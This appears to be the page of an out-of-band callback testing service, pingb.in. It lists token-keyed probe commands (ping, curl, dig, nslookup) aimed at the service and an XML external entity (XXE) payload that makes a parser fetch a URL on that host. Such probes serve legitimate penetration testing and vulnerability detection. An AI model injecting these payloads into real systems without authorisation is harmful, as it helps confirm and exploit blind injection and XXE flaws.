$ ping -c1 -p 00a070e48ddec934df03ea051ae9da00 pingb.in
 
$ curl pingb.in/p/a070e48ddec934df03ea051ae9da
 
$ dig a070e48ddec934df03ea051ae9da @pingb.in
 
$ dig a070e48ddec934df03ea051ae9da.ns.pingb.in
 
C:\> nslookup a070e48ddec934df03ea051ae9da pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/a070e48ddec934df03ea051ae9da">]>
    <foo>&xxe;</foo>
 
Waiting for ping...